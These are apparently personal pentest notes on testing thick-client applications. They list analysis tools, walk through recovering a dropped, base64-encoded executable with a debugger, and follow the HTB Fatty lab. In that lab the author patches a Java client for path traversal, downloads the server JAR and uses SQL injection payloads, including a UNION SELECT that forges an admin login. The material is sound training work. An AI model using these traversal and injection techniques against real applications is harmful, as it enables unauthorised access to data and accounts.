Thick Client Pentest
Thick Client Pentesting
CheckList
Linux Binaries
strings binaryname
Change encoding
strings -e l binaryname
strings -e L binaryname
strings -e b binaryname
Pre Compiled Tools

Information Gathering
CFF Explorer
Detect It Easy
Process Monitor
Strings
MSI Files
Look inside Install files, etc
MSI FilesCOM Files
DLL Files Analysis
ILSpy - .NET Decompiler
Decompile the DLL files, then you can search strings, check the code, etc.

DLL Hijacking
DLL HijackingClient Side attacks
Code AnalysisGhidra
IDA
OllyDBG
Radare2
dnSpy - .NET C#
x64dbg
JADX
JD-GUI - Java
Scavenger - Java
Retdec - C++
Frida
API Monitor
Network Side Attacks
Miscellaneous TechniquesWireshark
TCPDump
TCPView
Burp
Server Side Attacks
OWASP Top 10Retriving sensitive information from processes
Windows ProcessesRetrieving hardcoded Credentials
C:\Apps>.\Restart-OracleService.exe
C:\Apps>
ProcMon - monitoring the process reveals that the executable indeed creates a temp file


In order to capture the files, it is required to change the permissions of the Temp
folder to disallow file deletions
To do this, we right-click the folder C:\Users\Matt\AppData\Local\Temp
and under Properties
-> Security
-> Advanced
-> cybervaca
-> Disable inheritance
-> Convert inherited permissions into explicit permissions on this object
-> Edit
-> Show advanced permissions
, we deselect the Delete subfolders and files
, and Delete
checkboxes.
Run the app again
C:\Apps>dir C:\Users\cybervaca\AppData\Local\Temp\2
...SNIP...
04/03/2023 02:09 PM 1,730,212 6F39.bat
04/03/2023 02:09 PM 0 6F39.tmp
bat file
@shift /0
@echo off
if %username% == matt goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error
:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe
Two files are being dropped by the batch file and being deleted. Try to retrieve the content of the 2 files, by modifying the batch script and removing the deletion
Remove user part and del part. Also change echo $salida
@shift /0
@echo off
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
Write the files on Desktop

echo $salida = $null; $fichero = (Get-Content C:\Users\cybervaca\Desktop\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("C:\Users\cybervaca\Desktop\restart-service.exe", [System.Convert]::FromBase64String($salida)) > C:\Users\cybervaca\Desktop\monta.ps1
C:\> cat C:\programdata\monta.ps1
$salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida))
run ps1 to create exe
C:\> ls C:\programdata\
Mode LastWriteTime Length Name
<SNIP>
-a---- 3/24/2023 1:01 PM 273 monta.ps1
-a---- 3/24/2023 1:01 PM 601066 oracle.txt
-a---- 3/24/2023 1:17 PM 432273 restart-service.exe
Banner
C:\> .\restart-service.exe
____ __ __ ____ __
/ __ \___ _____/ /_____ ______/ /_ / __ \_________ ______/ /__
/ /_/ / _ \/ ___/ __/ __ `/ ___/ __/ / / / / ___/ __ `/ ___/ / _ \
/ _, _/ __(__ ) /_/ /_/ / / / /_ / /_/ / / / /_/ / /__/ / __/
/_/ |_|\___/____/\__/\__,_/_/ \__/ \____/_/ \__,_/\___/_/\___/
by @HelpDesk 2010
procmon

x64dbg
, navigate to Options
-> Preferences
, and uncheck everything except Exit Breakpoint

file
-> open
and select the restart-service.exe
to import it and start the debugging. Once imported, we right click inside the CPU
view and Follow in Memory Map

MAP
and protection set to -RW--

double-click on it

Return to the Memory Map pane, then export the newly discovered mapped item from memory to a dump file by right-clicking on the address and selecting Dump Memory to File
. Running strings
on the exported file
C:\> C:\TOOLS\Strings\strings64.exe .\restart-service_00000000001E0000.bin
<SNIP>
"#M
z\V
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName
.NET Framework 4 Client Profile
<SNIP>
use De4Dot
to reverse .NET
executables
de4dot v3.1.41592.3405
Detected Unknown Obfuscator (C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin)
Cleaning C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin
Renaming all obfuscated symbols
Saving C:\Users\cybervaca\Desktop\restart-service_00000000001E0000-cleaned.bin
Press any key to exit...

Read the source code of the exported application by dragging and dropping it onto the DnSpy
executable

Web Vulnerabilities
Based on HTB Fatty Walkthrough:
FTP server find some info:
A server has been reconfigured to run on port
1337
instead of8000
.The login credentials for login in the client application are ****/*


The client attempts to connect to the server.fatty.htb
subdomain
C:\> echo 10.10.10.174 server.fatty.htb >> C:\Windows\System32\drivers\etc\hosts

fatty-client.jar
is a Java Archive file, and its content can be extracted by right-clicking on it and selecting Extract files
C:\> ls fatty-client\
<SNIP>
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/30/2019 12:10 PM htb
d----- 10/30/2019 12:10 PM META-INF
d----- 4/26/2017 12:09 AM org
------ 10/30/2019 12:10 PM 1550 beans.xml
------ 10/30/2019 12:10 PM 2230 exit.png
------ 10/30/2019 12:10 PM 4317 fatty.p12
------ 10/30/2019 12:10 PM 831 log4j.properties
------ 4/26/2017 12:08 AM 299 module-info.class
------ 10/30/2019 12:10 PM 41645 spring-beans-3.0.xsd
C:\> ls fatty-client\ -recurse | Select-String "8000" | Select Path, LineNumber | Format-List
Path : C:\Users\cybervaca\Desktop\fatty-client\beans.xml
LineNumber : 13
C:\> cat fatty-client\beans.xml
<SNIP>
<!-- Here we have an constructor based injection, where Spring injects required arguments inside the
constructor function. -->
<bean id="connectionContext" class = "htb.fatty.shared.connection.ConnectionContext">
<constructor-arg index="0" value = "server.fatty.htb"/>
<constructor-arg index="1" value = "8000"/>
</bean>
<!-- The next to beans use setter injection. For this kind of injection one needs to define an default
constructor for the object (no arguments) and one needs to define setter methods for the properties. -->
<bean id="trustedFatty" class = "htb.fatty.shared.connection.TrustedFatty">
<property name = "keystorePath" value = "fatty.p12"/>
</bean>
<bean id="secretHolder" class = "htb.fatty.shared.connection.SecretHolder">
<property name = "secret" value = "clarabibiclarabibiclarabibi"/>
</bean>
<SNIP>
set the port to 1337
secret
is clarabibiclarabibiclarabibi
.
Running the edited application will fail due to an SHA-256
digest mismatch. The JAR is signed, validating every file's SHA-256
hashes before running. These hashes are present in the file META-INF/MANIFEST.MF
.
C:\> cat fatty-client\META-INF\MANIFEST.MF
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter
Name: META-INF/maven/org.slf4j/slf4j-log4j12/pom.properties
SHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z/hdj03XNhHx3C/pZbEp4Cw=
Name: org/springframework/jmx/export/metadata/ManagedOperationParamete
r.class
SHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf/FD9h2AMOntcgw=
<SNIP>
remove the hashes from META-INF/MANIFEST.MF
and delete the 1.RSA
and 1.SF
files from the META-INF
directory. The modified MANIFEST.MF
should end with a new line.
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter
Update and run the fatty-client.jar
file by issuing the following commands.
C:\> cd .\fatty-client
C:\> jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *

Foothold
Profile
-> Whoami


Path Traversal

Decompile the application using JD-GUI, by dragging and dropping the fatty-client-new.jar
onto the jd-gui

Save the source code by pressing the Save All Sources
option in jdgui
. Decompress the fatty-client-new.jar.src.zip
by right-clicking and selecting Extract files
.
The file fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java
handles the application features
public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
String methodName = (new Object() {
}).getClass().getEnclosingMethod().getName();
logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
if (AccessCheck.checkAccess(methodName, this.user))
return "Error: Method '" + methodName + "' is not allowed for this user account";
this.action = new ActionMessage(this.sessionID, "files");
this.action.addArgument(folder);
sendAndRecv();
if (this.response.hasError())
return "Error: Your action caused an error on the application server!";
return this.response.getContentAsString();
}
showFiles
function takes in one argument for the folder name and then sends the data to the server using the sendAndRecv()
call. The file fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java
sets the folder option
configs.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
String response = "";
ClientGuiTest.this.currentFolder = "configs";
try {
response = ClientGuiTest.this.invoker.showFiles("configs");
} catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
} catch (IOException e2) {
JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
}
textPane.setText(response);
}
});
Replace the configs
folder name with ..
ClientGuiTest.this.currentFolder = "..";
try {
response = ClientGuiTest.this.invoker.showFiles("..");
Compile the ClientGuiTest.Java
file
C:\> javac -cp fatty-client-new.jar fatty-client-new.jar.src\htb\fatty\client\gui\ClientGuiTest.java
This generates several class files. Let's create a new folder and extract the contents of fatty-client.jar
into it.
C:\> mkdir raw
C:\> cp fatty-client-new.jar raw\fatty-client-new-2.jar
Navigate to the raw
directory and decompress fatty-client-new-2.jar
by right-clicking and selecting Extract Here
Navigate to the raw
directory and decompress fatty-client-new-2.jar
by right-clicking and selecting Extract Here
. Overwrite any existing htb/fatty/client/gui/*.class
files with updated class files.
Exploiting Web Vulnerabilities in Thick-Client Applications
C:\> mv -Force fatty-client-new.jar.src\htb\fatty\client\gui\*.class raw\htb\fatty\client\gui\
Finally, we build the new JAR file.
C:\> cd raw
C:\> jar -cmf META-INF\MANIFEST.MF traverse.jar .
Log in to the application and navigate to FileBrowser
-> Config
option

Listing the content of the start.sh
file reveals that fatty-server.jar
is running inside an Alpine Docker container.
Modify the open
function in fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java
to download the file fatty-server.jar
import java.io.FileOutputStream;
<SNIP>
public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
String methodName = (new Object() {}).getClass().getEnclosingMethod().getName();
logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
if (AccessCheck.checkAccess(methodName, this.user)) {
return "Error: Method '" + methodName + "' is not allowed for this user account";
}
this.action = new ActionMessage(this.sessionID, "open");
this.action.addArgument(foldername);
this.action.addArgument(filename);
sendAndRecv();
String desktopPath = System.getProperty("user.home") + "\\Desktop\\fatty-server.jar";
FileOutputStream fos = new FileOutputStream(desktopPath);
if (this.response.hasError()) {
return "Error: Your action caused an error on the application server!";
}
byte[] content = this.response.getContent();
fos.write(content);
fos.close();
return "Successfully saved the file to " + desktopPath;
}
<SNIP>
Rebuild the JAR file by following the same steps and log in again to the application. Then, navigate to FileBrowser
-> Config
, add the fatty-server.jar
name in the input field, and click the Open
button.

C:\> ls C:\Users\cybervaca\Desktop\
...SNIP...
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/25/2023 11:38 AM 10827452 fatty-server.jar
SQL Injection
Decompiling the fatty-server.jar
using JD-GUI reveals the file htb/fatty/server/database/FattyDbSession.class
that contains a checkLogin()
function that handles the login functionality
public User checkLogin(User user) throws LoginException {
<SNIP>
rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
<SNIP>
if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
return newUser;
throw new LoginException("Wrong Password!");
<SNIP>
this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
return null;
The login button creates the new object ClientGuiTest.this.user
for the User
class. It then calls the setUsername()
and setPassword()
functions with the respective username and password values.

htb/fatty/shared/resources/user.java
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
String hashString = this.username + password + "clarabibimakeseverythingsecure";
MessageDigest digest = null;
try {
digest = MessageDigest.getInstance("SHA-256");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
this.password = DatatypeConverter.printHexBinary(hash);
}
Username isn't sanitized and is directly used in the SQL query, making it vulnerable to SQL injection.
The checkLogin
function in htb/fatty/server/database/FattyDbSession.class
writes the SQL exception to a log file.
To see the error, we need to edit the code in the fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java
file as follows
ClientGuiTest.this.currentFolder = "../logs";
try {
response = ClientGuiTest.this.invoker.showFiles("../logs");
error-log.txt

username in the login form is ' or '1'='1
<SNIP>
if (rs.next()) {
int id = rs.getInt("id");
String username = rs.getString("username");
String email = rs.getString("email");
String password = rs.getString("password");
String role = rs.getString("role");
newUser = new User(id, username, password, email, Role.getRoleByName(role), false);
<SNIP>
The injection in the username
field can be leveraged to create a fake user entry.
test' UNION SELECT 1,'invaliduser','invalid@a.b','invalidpass','admin
Modify the code in htb/fatty/shared/resources/User.java
to submit the password as it is from the client application.
public User(int uid, String username, String password, String email, Role role) {
this.uid = uid;
this.username = username;
this.password = password;
this.email = email;
this.role = role;
}
public void setPassword(String password) {
this.password = password;
}


PS C:\Users\cybervaca\Desktop> javac -cp fatty-client-new-2.jar fatty-client-new.jar.src\htb\fatty\shared\resources\*.java
Copy the .class files to raw directory

Create jar file
PS C:\Users\cybervaca\Desktop\raw> jar -cmf META-INF\MANIFEST.MF sqli.jar .

Attempt to log in using the payload abc' UNION SELECT 1,'abc','a@b.com','abc','admin
in the username
field and the random text abc
in the password
field.


Resources
Support this Gitbook
I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.
Last updated